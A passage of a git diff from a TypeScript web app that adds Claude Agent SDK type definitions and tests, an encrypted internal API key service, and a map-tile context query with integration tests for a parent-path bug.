deltaEvent = event.event as { type: 'content_block_delta'; delta: SDKContentBlockDelta } + expect(deltaEvent.delta.text).toBe('Hello') + } + }) + + it('should type message_start event', () => { + const event: SDKStreamEvent = { + type: 'stream_event', + event: { + type: 'message_start' + } + } + + expect(event.type).toBe('stream_event') + expect(event.event.type).toBe('message_start') + }) + + it('should type message_stop event', () => { + const event: SDKStreamEvent = { + type: 'stream_event', + event: { + type: 'message_stop' + } + } + + expect(event.type).toBe('stream_event') + expect(event.event.type).toBe('message_stop') + }) + }) + + describe('SDKContentBlockDelta', () => { + it('should contain text delta', () => { + const delta: SDKContentBlockDelta = { + text: 'Sample text' + } + + expect(delta.text).toBe('Sample text') + }) + + it('should accept empty text', () => { + const delta: SDKContentBlockDelta = { + text: '' + } + + expect(delta.text).toBe('') + }) + }) + + describe('SDKResult', () => { + it('should type success result', () => { + const result: SDKResult = { + type: 'result', + subtype: 'success', + result: 'This is the final response' + } + + expect(result.type).toBe('result') + expect(result.subtype).toBe('success') + expect(result.result).toBe('This is the final response') + }) + + it('should type error result', () => { + const result: SDKResult = { + type: 'result', + subtype: 'error', + error: 'Something went wrong' + } + + expect(result.type).toBe('result') + expect(result.subtype).toBe('error') + expect(result.error).toBe('Something went wrong') + }) + }) + + describe('SDKMessage', () => { + it('should be a union of stream events and results', () => { + const streamMessage: SDKMessage = { + type: 'stream_event', + event: { + type: 'content_block_delta', + delta: { + text: 'Streaming...' + } + } + } + + const resultMessage: SDKMessage = { + type: 'result', + subtype: 'success', + result: 'Complete' + } + + expect(streamMessage.type).toBe('stream_event') + expect(resultMessage.type).toBe('result') + }) + + it('should narrow types using discriminated union', () => { + const message: SDKMessage = { + type: 'result', + subtype: 'success', + result: 'Done' + } + + if (message.type === 'result' && message.subtype === 'success') { + expect(message.result).toBe('Done') + } + }) + }) + + describe('MCPServerConfig', () => { + it('should define server command and args', () => { + const config: MCPServerConfig = { + command: 'npx', + args: ['-y', '@anthropic/mcp-server-filesystem'] + } + + expect(config.command).toBe('npx') + expect(config.args).toEqual(['-y', '@anthropic/mcp-server-filesystem']) + }) + + it('should accept environment variables', () => { + const config: MCPServerConfig = { + command: 'docker', + args: ['run', 'mcp-server'], + env: { + API_KEY: 'secret', + DEBUG: 'true' + } + } + + expect(config.env).toEqual({ + API_KEY: 'secret', + DEBUG: 'true' + }) + }) + + it('should work without env', () => { + const config: MCPServerConfig = { + command: 'node', + args: ['server.js'] + } + + expect(config.command).toBe('node') + expect(config.env).toBeUndefined() + }) + }) + + describe('SDKToolDefinition', () => { + it('should define a tool with name and description', () => { + const tool: SDKToolDefinition = { + name: 'search', + description: 'Search the knowledge base', + inputSchema: { + type: 'object', + properties: { + query: { + type: 'string', + description: 'The search query' + } + }, + required: ['query'] + } + } + + expect(tool.name).toBe('search') + expect(tool.description).toBe('Search the knowledge base') + expect(tool.inputSchema.type).toBe('object') + }) + + it('should accept minimal tool definition', () => { + const tool: SDKToolDefinition = { + name: 'calculate', + description: 'Perform calculation', + inputSchema: { + type: 'object', + properties: {} + } + } + + expect(tool.name).toBe('calculate') + expect(tool.inputSchema.properties).toEqual({}) + }) + + it('should accept complex input schema', () => { + const tool: SDKToolDefinition = { + name: 'analyze', + description: 'Analyze data', + inputSchema: { + type: 'object', + properties: { + data: { + type: 'array', + items: { + type: 'number' + } + }, + method: { + type: 'string', + enum: ['mean', 'median', 'mode'] + } + }, + required: ['data'] + } + } + + expect(tool.inputSchema.properties?.data?.type).toBe('array') + expect(tool.inputSchema.properties?.method?.enum).toEqual(['mean', 'median', 'mode']) + }) + }) + + describe('Type compatibility', () => { + it('should work with async generator type', () => { + // This tests that SDKMessage can be used as async generator yield type + async function* mockGenerator(): AsyncGenerator { + yield { + type: 'stream_event', + event: { + type: 'content_block_delta', + delta: { text: 'Hello' } + } + } + yield { + type: 'result', + subtype: 'success', + result: 'Hello' + } + } + + const generator = mockGenerator() + expect(generator).toBeDefined() + }) + + it('should handle null/undefined in event stream', () => { + // SDK may yield null/undefined between events + const messages: (SDKMessage | null | undefined)[] = [ + { type: 'stream_event', event: { type: 'message_start' } }, + null, + { type: 'stream_event', event: { type: 'content_block_delta', delta: { text: 'Hi' } } }, + undefined, + { type: 'result', subtype: 'success', result: 'Hi' } + ] + + const validMessages = messages.filter((m): m is SDKMessage => m !== null && m !== undefined) + expect(validMessages).toHaveLength(3) + }) + }) + + describe('Type guards', () => { + it('should distinguish between stream events and results', () => { + const messages: SDKMessage[] = [ + { type: 'stream_event', event: { type: 'message_start' } }, + { type: 'result', subtype: 'success', result: 'Done' } + ] + + const streamEvents = messages.filter(m => m.type === 'stream_event') + const results = messages.filter(m => m.type === 'result') + + expect(streamEvents).toHaveLength(1) + expect(results).toHaveLength(1) + }) + + it('should distinguish between content deltas and other events', () => { + const events: SDKStreamEvent[] = [ + { type: 'stream_event', event: { type: 'message_start' } }, + { type: 'stream_event', event: { type: 'content_block_delta', delta: { text: 'Hi' } } }, + { type: 'stream_event', event: { type: 'message_stop' } } + ] + + const contentDeltas = events.filter( + e => e.event.type === 'content_block_delta' + ) + + expect(contentDeltas).toHaveLength(1) + const firstDelta = contentDeltas[0] + if (firstDelta && firstDelta.event.type === 'content_block_delta') { + const deltaEvent = firstDelta.event as { type: 'content_block_delta'; delta: SDKContentBlockDelta } + expect(deltaEvent.delta.text).toBe('Hi') + } + }) + + it('should distinguish between success and error results', () => { + const results: SDKResult[] = [ + { type: 'result', subtype: 'success', result: 'Success' }, + { type: 'result', subtype: 'error', error: 'Error' } + ] + + const successes = results.filter(r => r.subtype === 'success') + const errors = results.filter(r => r.subtype === 'error') + + expect(successes).toHaveLength(1) + expect(errors).toHaveLength(1) + }) + }) +}) diff --git a/src/lib/domains/agentic/types/context.types.ts b/src/lib/domains/agentic/types/context.types.ts index 383298e51..143aa732b 100644 --- a/src/lib/domains/agentic/types/context.types.ts +++ b/src/lib/domains/agentic/types/context.types.ts @@ -35,6 +35,7 @@ export type CanvasContextStrategy = export interface CanvasContext extends Context { type: 'canvas' center: TileContextItem + composed: TileContextItem[] // Tiles with direction 0 (inside center) children: TileContextItem[] grandchildren: TileContextItem[] strategy: CanvasContextStrategy @@ -105,4 +106,6 @@ export interface CompositionConfig { chat?: number } } -} \ No newline at end of file +} +// Type alias for internal use - maps contract to legacy name for compatibility +export type { ChatMessageContract as ChatMessage } from '~/lib/domains/agentic/types/contracts' diff --git a/src/lib/domains/agentic/types/contracts.ts b/src/lib/domains/agentic/types/contracts.ts index 9e6e81019..71ee8ec5d 100644 --- a/src/lib/domains/agentic/types/contracts.ts +++ b/src/lib/domains/agentic/types/contracts.ts @@ -1,6 +1,58 @@ import { z } from 'zod' import type { CompositionConfig } from '~/lib/domains/agentic/types/context.types' +/** + * ChatMessage - Shared contract between frontend and backend + * + * This represents a message in the chat conversation. + * Frontend converts its internal ChatMessage type to this contract. + * Backend uses this for AI context building. + */ +export interface ChatMessageContract { + id: string + type: 'system' | 'user' | 'assistant' + content: string // Simplified - widgets are serialized to string + metadata?: { + tileId?: string + timestamp?: string // ISO string for serialization + } +} + +/** + * Tile snapshot for AI context with varying detail levels + */ +export interface TileSnapshot { + coordId: string + coordinates: { + userId: number + groupId: number + path: number[] + } + title: string + content?: string // Full content for center, optional for children/grandchildren + preview?: string // Preview for children +} + +/** + * AIContextSnapshot - Snapshot of frontend cache state for AI context + * + * Hierarchical structure with varying detail levels: + * - Center: full title + content + coordinates + * - Composed (direction 0): title + content + preview + coordinates (up to 6 tiles inside center) + * - Children: title + preview + coordinates + * - Grandchildren: title + coordinates + * + * This decouples backend from frontend state structure. + */ +export interface AIContextSnapshot { + centerCoordId: string | null + center?: TileSnapshot // Center tile with full content + composed: TileSnapshot[] // Composed tiles (direction 0) with full content + preview + children: TileSnapshot[] // Direct children with preview + grandchildren: TileSnapshot[] // Grandchildren with just title + expandedTileIds: string[] +} + export const generateResponseInputSchema = z.object({ message: z.string().min(1), centerCoordId: z.string(), diff --git a/src/lib/domains/agentic/types/index.ts b/src/lib/domains/agentic/types/index.ts index f17cf5a4a..b9acbe29f 100644 --- a/src/lib/domains/agentic/types/index.ts +++ b/src/lib/domains/agentic/types/index.ts @@ -1,4 +1,5 @@ export * from '~/lib/domains/agentic/types/context.types' export * from '~/lib/domains/agentic/types/llm.types' export * from '~/lib/domains/agentic/types/contracts' -export * from '~/lib/domains/agentic/types/errors' \ No newline at end of file +export * from '~/lib/domains/agentic/types/errors' +export * from '~/lib/domains/agentic/types/sdk.types' \ No newline at end of file diff --git a/src/lib/domains/agentic/types/sdk.types.ts b/src/lib/domains/agentic/types/sdk.types.ts new file mode 100644 index 000000000..15342d932 --- /dev/null +++ b/src/lib/domains/agentic/types/sdk.types.ts @@ -0,0 +1,137 @@ +/** + * Type definitions for Claude Agent SDK + * + * These types provide type safety for interactions with the @anthropic-ai/claude-agent-sdk package. + * They mirror the SDK's internal types while providing better documentation and IDE support. + */ + +/** + * Configuration for an MCP (Model Context Protocol) server + */ +export type MCPServerConfig = { + /** Command to run the MCP server (e.g., 'npx', 'docker', 'node') */ + command: string + /** Arguments to pass to the command */ + args: string[] + /** Environment variables for the server process */ + env?: Record +} + +/** + * JSON schema for tool input parameters + */ +export type JSONSchema = { + type: 'object' | 'string' | 'number' | 'boolean' | 'array' + properties?: Record + required?: string[] + items?: JSONSchemaProperty + enum?: unknown[] + description?: string +} + +/** + * Property definition in a JSON schema + */ +export type JSONSchemaProperty = { + type: 'object' | 'string' | 'number' | 'boolean' | 'array' + description?: string + items?: JSONSchemaProperty + properties?: Record + enum?: unknown[] + required?: string[] +} + +/** + * Definition of a tool that can be used by the agent + */ +export type SDKToolDefinition = { + /** Unique name of the tool */ + name: string + /** Description of what the tool does */ + description: string + /** JSON schema defining the expected input parameters */ + inputSchema: JSONSchema +} + +/** + * Options for configuring an SDK query + */ +export type SDKQueryOptions = { + /** Model to use (e.g., 'claude-sonnet-4-5-20250929') */ + model: string + /** System prompt to set context for the agent */ + systemPrompt?: string + /** Maximum number of conversation turns (default: 1) */ + maxTurns?: number + /** Whether to include partial messages during streaming */ + includePartialMessages?: boolean + /** Temperature for response generation (0-1) */ + temperature?: number + /** Maximum tokens to generate */ + maxTokens?: number + /** MCP servers to make available to the agent */ + mcpServers?: Record +} + +/** + * Parameters for an SDK query + */ +export type SDKQueryParams = { + /** The user's prompt/query */ + prompt: string + /** Configuration options for the query */ + options: SDKQueryOptions +} + +/** + * Delta containing incremental text content + */ +export type SDKContentBlockDelta = { + /** The text content of this delta */ + text: string +} + +/** + * Known event types for better type safety + */ +export type SDKEventType = + | { type: 'message_start' } + | { type: 'message_stop' } + | { type: 'content_block_delta'; delta: SDKContentBlockDelta } + +/** + * Event emitted during message streaming + */ +export type SDKStreamEvent = { + type: 'stream_event' + event: SDKEventType +} + +/** + * Result message indicating query completion + */ +export type SDKResult = + | { + type: 'result' + subtype: 'success' + /** The complete response text */ + result: string + } + | { + type: 'result' + subtype: 'error' + /** Error message */ + error: string + } + +/** + * Union type of all possible SDK messages + * Used as the yield type for the SDK's async generator + */ +export type SDKMessage = SDKStreamEvent | SDKResult + +/** + * Alias for SDKResult to maintain compatibility with existing code + * @deprecated Use SDKResult instead + */ +export type SDKResultMessage = SDKResult diff --git a/src/lib/domains/iam/index.ts b/src/lib/domains/iam/index.ts index 039b877d4..aa868593c 100644 --- a/src/lib/domains/iam/index.ts +++ b/src/lib/domains/iam/index.ts @@ -37,4 +37,11 @@ export { export { loginAction, registerAction } from '~/lib/domains/iam/actions'; // Infrastructure (for service instantiation) -export { BetterAuthUserRepository } from '~/lib/domains/iam/infrastructure'; \ No newline at end of file +export { BetterAuthUserRepository } from '~/lib/domains/iam/infrastructure'; + +// Internal API key management (server-only, for MCP and other internal services) +export { + getOrCreateInternalApiKey, + rotateInternalApiKey, + validateInternalApiKey, +} from '~/lib/domains/iam/services/internal-api-key.service'; \ No newline at end of file diff --git a/src/lib/domains/iam/infrastructure/encryption.ts b/src/lib/domains/iam/infrastructure/encryption.ts new file mode 100644 index 000000000..ad0d7f171 --- /dev/null +++ b/src/lib/domains/iam/infrastructure/encryption.ts @@ -0,0 +1,84 @@ +import "server-only" +import crypto from 'crypto' + +/** + * Encryption utilities for internal API keys + * + * Uses AES-256-GCM for authenticated encryption. + * + * IMPORTANT: Requires ENCRYPTION_KEY environment variable (64 hex chars = 32 bytes) + * Generate with: node -e "console.log(crypto.randomBytes(32).toString('hex'))" + */ + +const ALGORITHM = 'aes-256-gcm' + +function getEncryptionKey(): Buffer { + const keyHex = process.env.ENCRYPTION_KEY + + if (!keyHex) { + throw new Error( + 'ENCRYPTION_KEY environment variable is required. ' + + 'Generate with: node -e "console.log(crypto.randomBytes(32).toString(\'hex\'))"' + ) + } + + const key = Buffer.from(keyHex, 'hex') + + if (key.length !== 32) { + throw new Error( + 'ENCRYPTION_KEY must be 32 bytes (64 hex characters). ' + + 'Generate with: node -e "console.log(crypto.randomBytes(32).toString(\'hex\'))"' + ) + } + + return key +} + +/** + * Encrypt plaintext using AES-256-GCM + * + * Returns format: iv:encrypted:authTag (all hex-encoded) + */ +export function encrypt(plaintext: string): string { + const key = getEncryptionKey() + const iv = crypto.randomBytes(16) + + const cipher = crypto.createCipheriv(ALGORITHM, key, iv) + const encrypted = Buffer.concat([ + cipher.update(plaintext, 'utf8'), + cipher.final() + ]) + const authTag = cipher.getAuthTag() + + return [ + iv.toString('hex'), + encrypted.toString('hex'), + authTag.toString('hex') + ].join(':') +} + +/** + * Decrypt ciphertext using AES-256-GCM + * + * Expects format: iv:encrypted:authTag (all hex-encoded) + */ +export function decrypt(ciphertext: string): string { + const key = getEncryptionKey() + const [ivHex, encryptedHex, authTagHex] = ciphertext.split(':') + + if (!ivHex || !encryptedHex || !authTagHex) { + throw new Error('Invalid ciphertext format. Expected: iv:encrypted:authTag') + } + + const iv = Buffer.from(ivHex, 'hex') + const encrypted = Buffer.from(encryptedHex, 'hex') + const authTag = Buffer.from(authTagHex, 'hex') + + const decipher = crypto.createDecipheriv(ALGORITHM, key, iv) + decipher.setAuthTag(authTag) + + return Buffer.concat([ + decipher.update(encrypted), + decipher.final() + ]).toString('utf8') +} diff --git a/src/lib/domains/iam/services/internal-api-key.service.ts b/src/lib/domains/iam/services/internal-api-key.service.ts new file mode 100644 index 000000000..243652333 --- /dev/null +++ b/src/lib/domains/iam/services/internal-api-key.service.ts @@ -0,0 +1,223 @@ +import "server-only" +import { eq, and } from "drizzle-orm" +import { randomBytes, randomUUID } from "crypto" +import { db, schema } from "~/server/db" +import { encrypt, decrypt } from "~/lib/domains/iam/infrastructure/encryption" + +const { internalApiKeys } = schema + +/** + * Service for managing internal API keys (encrypted, server-only) + * + * These keys are used for server-to-server authentication (e.g., MCP server). + * Unlike user-facing API keys, these are: + * - Encrypted (not hashed) so server can retrieve plaintext + * - Never exposed to client + * - Auto-managed + */ + +const KEY_LENGTH = 64 // 64 characters = 512 bits + +function generateApiKey(): string { + return randomBytes(KEY_LENGTH).toString('base64url') +} + +/** + * Get or create an internal API key for a user and purpose + * + * Supports short-lived tokens with TTL for enhanced security. + * When TTL is specified, expired keys are automatically rotated. + * + * @param userId - The user ID + * @param purpose - The purpose identifier (e.g., 'mcp', 'mcp-session') + * @param ttlMinutes - Optional: TTL in minutes for short-lived tokens (default: no expiry) + * @returns Plaintext API key + */ +export async function getOrCreateInternalApiKey( + userId: string, + purpose: string, + ttlMinutes?: number +): Promise { + // Validate inputs + if (typeof userId !== 'string' || !userId.trim()) { + throw new TypeError('userId must be a non-empty string') + } + if (typeof purpose !== 'string' || !purpose.trim()) { + throw new TypeError('purpose must be a non-empty string') + } + + // Try to find existing active key + const existing = await db.query.internalApiKeys.findFirst({ + where: and( + eq(internalApiKeys.userId, userId), + eq(internalApiKeys.purpose, purpose), + eq(internalApiKeys.isActive, true) + ) + }) + + if (existing) { + // Check if key is expired + if (existing.expiresAt && existing.expiresAt <= new Date()) { + // Key expired, deactivate it (will create new one below) + await db.update(internalApiKeys) + .set({ isActive: false }) + .where(eq(internalApiKeys.id, existing.id)) + } else { + // Key still valid, update last used and return + await db.update(internalApiKeys) + .set({ lastUsedAt: new Date() }) + .where(eq(internalApiKeys.id, existing.id)) + + return decrypt(existing.encryptedKey) + } + } + + // Create new key with optional expiry + const plaintextKey = generateApiKey() + const encryptedKey = encrypt(plaintextKey) + + const expiresAt = ttlMinutes + ? new Date(Date.now() + ttlMinutes * 60 * 1000) + : undefined + + await db.insert(internalApiKeys).values({ + id: randomUUID(), + userId, + purpose, + encryptedKey, + isActive: true, + createdAt: new Date(), + expiresAt, + }) + + return plaintextKey +} + +/** + * Rotate an internal API key + * + * Deactivates the old key and creates a new one. + * + * @param userId - The user ID + * @param purpose - The purpose identifier + * @returns New plaintext API key + */ +export async function rotateInternalApiKey( + userId: string, + purpose: string +): Promise { + // Validate inputs + if (typeof userId !== 'string' || !userId.trim()) { + throw new TypeError('userId must be a non-empty string') + } + if (typeof purpose !== 'string' || !purpose.trim()) { + throw new TypeError('purpose must be a non-empty string') + } + + // Deactivate old key + await db.update(internalApiKeys) + .set({ isActive: false }) + .where(and( + eq(internalApiKeys.userId, userId), + eq(internalApiKeys.purpose, purpose) + )) + + // Create new key (getOrCreateInternalApiKey will create since old is inactive) + return getOrCreateInternalApiKey(userId, purpose) +} + +/** + * Validate an internal API key and return the user ID + * + * Checks if key is active AND not expired. + * + * @param plaintextKey - The plaintext API key to validate + * @param userId - Optional userId hint to optimize lookup (only checks this user's keys) + * @returns User ID and purpose if valid, null otherwise + */ +export async function validateInternalApiKey( + plaintextKey: string, + userId?: string +): Promise<{ userId: string; purpose: string } | null> { + const now = new Date() + + // If userId provided, use fast path: only check this user's keys + if (userId) { + const userKeys = await db.query.internalApiKeys.findMany({ + where: and( + eq(internalApiKeys.userId, userId), + eq(internalApiKeys.isActive, true) + ) + }) + + for (const key of userKeys) { + // Check if key is expired + if (key.expiresAt && key.expiresAt <= now) { + // Auto-deactivate expired key + await db.update(internalApiKeys) + .set({ isActive: false }) + .where(eq(internalApiKeys.id, key.id)) + continue + } + + try { + const decrypted = decrypt(key.encryptedKey) + + if (decrypted === plaintextKey) { + // Update last used + await db.update(internalApiKeys) + .set({ lastUsedAt: new Date() }) + .where(eq(internalApiKeys.id, key.id)) + + return { + userId: key.userId, + purpose: key.purpose + } + } + } catch { + // Decryption failed, skip this key + continue + } + } + + return null + } + + // Fallback: check all keys (for backwards compatibility or when userId not provided) + // This is more expensive but ensures validation works even without userId hint + const allKeys = await db.query.internalApiKeys.findMany({ + where: eq(internalApiKeys.isActive, true) + }) + + for (const key of allKeys) { + // Check if key is expired + if (key.expiresAt && key.expiresAt <= now) { + // Auto-deactivate expired key + await db.update(internalApiKeys) + .set({ isActive: false }) + .where(eq(internalApiKeys.id, key.id)) + continue + } + + try { + const decrypted = decrypt(key.encryptedKey) + + if (decrypted === plaintextKey) { + // Update last used + await db.update(internalApiKeys) + .set({ lastUsedAt: new Date() }) + .where(eq(internalApiKeys.id, key.id)) + + return { + userId: key.userId, + purpose: key.purpose + } + } + } catch { + // Decryption failed, skip this key + continue + } + } + + return null +} diff --git a/src/lib/domains/mapping/_actions/__tests__/map-item-transactions.test.ts b/src/lib/domains/mapping/_actions/__tests__/map-item-transactions.test.ts index ae45a16c4..b53e2b508 100644 --- a/src/lib/domains/mapping/_actions/__tests__/map-item-transactions.test.ts +++ b/src/lib/domains/mapping/_actions/__tests__/map-item-transactions.test.ts @@ -39,6 +39,7 @@ describe("MapItemActions - Transaction Support", () => { getRootItemsForUser: vi.fn(), getDescendantsByParent: vi.fn(), getDescendantsWithDepth: vi.fn(), + getContextForCenter: vi.fn(), }; mapItemRepo = { diff --git a/src/lib/domains/mapping/_repositories/map-item.ts b/src/lib/domains/mapping/_repositories/map-item.ts index 628acbb49..abe9cd725 100644 --- a/src/lib/domains/mapping/_repositories/map-item.ts +++ b/src/lib/domains/mapping/_repositories/map-item.ts @@ -103,4 +103,29 @@ export interface MapItemRepository ref: MapItemRelatedItems["ref"]; }> ): Promise; + + /** + * Optimized context fetch for a center tile in a single query + * + * Fetches parent, center, composed, children, and grandchildren tiles + * based on configuration, avoiding redundant queries and direction 0 issues. + * + * @param config - Configuration specifying which relationships to include + * @returns Grouped map items by relationship + */ + getContextForCenter(config: { + centerPath: Coord["path"]; + userId: number; + groupId: number; + includeParent: boolean; + includeComposed: boolean; + includeChildren: boolean; + includeGrandchildren: boolean; + }): Promise<{ + parent: MapItemWithId | null; + center: MapItemWithId; + composed: MapItemWithId[]; + children: MapItemWithId[]; + grandchildren: MapItemWithId[]; + }>; } diff --git a/src/lib/domains/mapping/index.ts b/src/lib/domains/mapping/index.ts index 57068626d..3c9365bd5 100644 --- a/src/lib/domains/mapping/index.ts +++ b/src/lib/domains/mapping/index.ts @@ -21,6 +21,7 @@ export { ItemCrudService, ItemQueryService, ItemHistoryService, + ItemContextService, MappingUtils, } from '~/lib/domains/mapping/services'; diff --git a/src/lib/domains/mapping/infrastructure/map-item/db.ts b/src/lib/domains/mapping/infrastructure/map-item/db.ts index 0515100e5..b3e78158a 100644 --- a/src/lib/domains/mapping/infrastructure/map-item/db.ts +++ b/src/lib/domains/mapping/infrastructure/map-item/db.ts @@ -315,4 +315,30 @@ export class DbMapItemRepository implements MapItemRepository { refItemId: attrs.ref.itemId, }; } + + async getContextForCenter(config: { + centerPath: Direction[]; + userId: number; + groupId: number; + includeParent: boolean; + includeComposed: boolean; + includeChildren: boolean; + includeGrandchildren: boolean; + }): Promise<{ + parent: MapItemWithId | null; + center: MapItemWithId; + composed: MapItemWithId[]; + children: MapItemWithId[]; + grandchildren: MapItemWithId[]; + }> { + const dbResults = await this.specializedQueries.fetchContextForCenter(config); + + return { + parent: dbResults.parent ? mapJoinedDbToDomain(dbResults.parent, []) : null, + center: mapJoinedDbToDomain(dbResults.center, []), + composed: dbResults.composed.map((item) => mapJoinedDbToDomain(item, [])), + children: dbResults.children.map((item) => mapJoinedDbToDomain(item, [])), + grandchildren: dbResults.grandchildren.map((item) => mapJoinedDbToDomain(item, [])), + }; + } } diff --git a/src/lib/domains/mapping/infrastructure/map-item/queries/__tests__/context-for-center.test.ts b/src/lib/domains/mapping/infrastructure/map-item/queries/__tests__/context-for-center.test.ts new file mode 100644 index 000000000..c67950437 --- /dev/null +++ b/src/lib/domains/mapping/infrastructure/map-item/queries/__tests__/context-for-center.test.ts @@ -0,0 +1,924 @@ +import { describe, beforeEach, it, expect } from "vitest"; +import { Direction } from "~/lib/domains/mapping/utils"; +import { + type TestEnvironment, + _cleanupDatabase, + _createTestEnvironment, + _setupBasicMap, + _createTestCoordinates, + _createUniqueTestParams, +} from "~/lib/domains/mapping/services/__tests__/helpers/_test-utilities"; + +describe("getContextForCenter [Integration - DB]", () => { + let testEnv: TestEnvironment; + + beforeEach(async () => { + await _cleanupDatabase(); + testEnv = _createTestEnvironment(); + }); + + describe("Parent retrieval", () => { + it("should return the immediate parent, not grandparent (path slice bug)", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create hierarchy: Root -> Parent (NE) -> Child (NE, E) + // Path structure: + // Root: [] + // Parent: [1] (NorthEast) + // Child: [1, 3] (NorthEast, East) + + // Create parent tile + const parentCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast], + }); + const parentItem = await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: parentCoords, + title: "Parent Tile", + content: "This is the parent", + }); + + // Create child tile + const childCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.East], + }); + const childItem = await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: childCoords, + title: "Child Tile", + content: "This is the child", + }); + + // Get context for the child tile with parent included + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.NorthEast, Direction.East], + userId, + groupId, + includeParent: true, + includeComposed: false, + includeChildren: false, + includeGrandchildren: false, + }); + + // BUG: With slice(0, -2), centerPath [1, 3] becomes [] (root/grandparent) + // FIX: With slice(0, -1), centerPath [1, 3] becomes [1] (parent) + + // The parent should be the tile with path [1], not the root with path [] + expect(context.parent).not.toBeNull(); + expect(context.parent?.attrs.coords.path).toEqual([Direction.NorthEast]); + expect(context.parent?.ref.attrs.title).toBe("Parent Tile"); + + // Should NOT return the root as parent + expect(context.parent?.attrs.coords.path).not.toEqual([]); + }); + + it("should handle 3-level hierarchy correctly", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create hierarchy: Root -> Level1 -> Level2 -> Level3 + // Paths: [] -> [1] -> [1, 2] -> [1, 2, 3] + + const level1Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast], + }); + const level1 = await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: level1Coords, + title: "Level 1", + }); + + const level2Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.NorthWest], + }); + const level2 = await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(level1.id), + coords: level2Coords, + title: "Level 2", + }); + + const level3Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.NorthWest, Direction.East], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(level2.id), + coords: level3Coords, + title: "Level 3", + }); + + // Get context for Level 3 - parent should be Level 2 + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.NorthEast, Direction.NorthWest, Direction.East], + userId, + groupId, + includeParent: true, + includeComposed: false, + includeChildren: false, + includeGrandchildren: false, + }); + + // With the bug (slice(0, -2)): path [1,1,3] -> [1] (returns Level 1, wrong!) + // With the fix (slice(0, -1)): path [1,1,3] -> [1,1] (returns Level 2, correct!) + + expect(context.parent).not.toBeNull(); + expect(context.parent?.attrs.coords.path).toEqual([ + Direction.NorthEast, + Direction.NorthWest, + ]); + expect(context.parent?.ref.attrs.title).toBe("Level 2"); + }); + + it("should return null parent for root tile", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + await _setupBasicMap(testEnv.service, testParams); + + // Get context for root (path []) + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [], + userId, + groupId, + includeParent: true, + includeComposed: false, + includeChildren: false, + includeGrandchildren: false, + }); + + // Root has no parent + expect(context.parent).toBeNull(); + }); + + it("should return root as parent for direct children", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create direct child of root + const childCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.West], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: childCoords, + title: "Direct Child", + }); + + // Get context for direct child (path [6]) + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.West], + userId, + groupId, + includeParent: true, + includeComposed: false, + includeChildren: false, + includeGrandchildren: false, + }); + + // Parent should be root with path [] + expect(context.parent).not.toBeNull(); + expect(context.parent?.attrs.coords.path).toEqual([]); + expect(context.parent?.ref.attrs.title).toBe(rootMap.title); + }); + }); + + describe("Children retrieval", () => { + it("should return direct children of center tile", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create parent tile + const parentCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast], + }); + const parentItem = await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: parentCoords, + title: "Parent Tile", + }); + + // Create 3 children + const child1Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.NorthWest], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: child1Coords, + title: "Child 1", + }); + + const child2Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.East], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: child2Coords, + title: "Child 2", + }); + + const child3Coords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.SouthEast], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: child3Coords, + title: "Child 3", + }); + + // Get context with children + const context = await testEnv.repositories.mapItem.getContextForCenter({ + centerPath: [Direction.NorthEast], + userId, + groupId, + includeParent: false, + includeComposed: false, + includeChildren: true, + includeGrandchildren: false, + }); + + // Should return all 3 children + expect(context.children).toHaveLength(3); + const childTitles = context.children.map((c) => c.ref.attrs.title).sort(); + expect(childTitles).toEqual(["Child 1", "Child 2", "Child 3"]); + + // Verify they are direct children (depth = parent depth + 1) + context.children.forEach((child) => { + expect(child.attrs.coords.path).toHaveLength(2); + expect(child.attrs.coords.path[0]).toBe(Direction.NorthEast); + }); + }); + + it("should not include composed children (direction 0) in regular children", async () => { + const testParams = _createUniqueTestParams(); + const { userId, groupId } = testParams; + const rootMap = await _setupBasicMap(testEnv.service, testParams); + + // Create parent tile + const parentCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast], + }); + const parentItem = await testEnv.service.items.crud.addItemToMap({ + parentId: rootMap.id, + coords: parentCoords, + title: "Parent Tile", + }); + + // Create composition container (direction 0) + const composedCoords = _createTestCoordinates({ + userId, + groupId, + path: [Direction.NorthEast, Direction.Center], + }); + await testEnv.service.items.crud.addItemToMap({ + parentId: parseInt(parentItem.id), + coords: composedCoords, + title: "Composed Container", + }); + + // Create regular child + const childCoords = _createTestCoordinates({ + userId, + groupId, + path: 